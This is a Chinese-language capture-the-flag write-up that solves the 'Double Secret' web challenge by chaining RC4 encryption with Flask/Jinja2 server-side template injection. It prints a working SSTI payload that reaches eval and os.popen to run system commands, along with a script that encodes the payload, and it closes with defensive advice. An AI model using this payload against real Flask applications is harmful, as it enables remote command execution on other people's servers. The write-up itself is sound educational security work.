1. 初探Double Secret:题目背景与信息收集
第一次打开这个题目时,看到的是一个看似简单的Web界面。题目名为"Double Secret",直觉告诉我这肯定暗藏玄机。按照CTF比赛的常规套路,我首先检查了robots.txt文件,但这次并没有发现有用线索。接着我注意到URL中有一个/secret目录,访问后出现了一个输入框。
尝试直接提交空参数?secret=时没有反应,但当输入超过4个字符时,页面突然抛出了一个报错信息。这个报错非常关键,它暴露了后端处理逻辑:首先对输入进行RC4加密,然后通过render_template_string渲染。看到这里我眼睛一亮——这不就是典型的SSTI(服务器端模板注入)漏洞吗?
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 逆向分析RC4加密流程
题目给出了关键的加密代码片段,使用的是RC4算法。RC4是一种流加密算法,它的特点是加密解密使用相同的密钥。在这个题目中,密钥是硬编码的"HereIsTreasure"。
我找到了一个现成的RC4实现脚本,但需要稍作修改才能用在这个题目上。关键是要理解它的加密流程:
- 初始化S盒(256字节的置换表)
- 使用密钥打乱S盒
- 通过S盒生成密钥流
- 将密钥流与明文逐字节异或
特别需要注意的是,题目中的加密结果还经过了Base64编码和URL编码双重处理。这意味着我们的payload在注入前需要先经过这一系列转换。
3. 构造SSTI注入payload
确认存在SSTI漏洞后,下一步就是构造有效的payload。在Flask/Jinja2环境下,常见的利用方式是通过Python的对象继承链来访问危险函数。
我使用的payload模板是:
python复制{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('命令').read()")}}
{% endif %}
{% endfor %}
这个payload的工作原理是:
- 通过空列表的__class__获取list类型
- 通过__base__找到object基类
- 遍历所有子类找到catch_warnings
- 通过__globals__访问内置函数
- 使用eval执行任意Python代码
4. 完整攻击链的组装与执行
有了RC4加密脚本和SSTI payload,现在需要将它们组合起来。具体步骤如下:
- 首先准备要执行的系统命令,比如"ls /"查看根目录
- 将这个命令嵌入到SSTI payload模板中
- 使用给定的RC4脚本加密整个payload
- 对加密结果进行URL编码
- 将最终字符串作为secret参数值提交
我写了一个自动化脚本处理这个过程:
python复制from urllib import parse
import base64
def rc4_encrypt(payload):
# 省略RC4实现代码
return encrypted_payload
ssti_payload = '''{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}
{% endif %}
{% endfor %}'''
encrypted = rc4_encrypt(ssti_payload)
final_payload = parse.quote(encrypted)
print(f"最终payload: ?secret={final_payload}")
5. 实战调试与技巧分享
在实际操作中,我遇到了几个坑需要特别注意:
-
payload长度限制:最初测试时发现超过一定长度就会报错,后来发现是因为URL有长度限制。解决方法是对payload进行分段测试。
-
编码问题:RC4加密后的二进制数据在转换为字符串时容易出现编码错误。确保使用正确的编码方式(通常是Latin-1)。
-
命令注入的过滤:有些特殊字符会被过滤,可以使用编码绕过或者找到替代命令。
-
错误信息分析:当payload不生效时,仔细阅读错误信息可以获取很多有用线索,比如哪些字符被过滤了。
6. 最终flag获取与防御建议
经过多次尝试,最终使用"cat /flag.txt"命令成功获取到flag。整个过程的关键在于理解RC4加密流程和SSTI利用原理的结合。
从防御角度来看,这个题目教会我们几个重要的安全准则:
- 永远不要相信用户输入,即使经过了加密
- 避免使用render_template_string这样的危险函数
- 密钥不应该硬编码在代码中
- 对模板渲染进行严格的沙箱限制
在实际开发中,建议使用成熟的模板引擎并保持更新,同时实施严格的内容安全策略。对于加密操作,应该使用经过验证的库而不是自己实现算法。
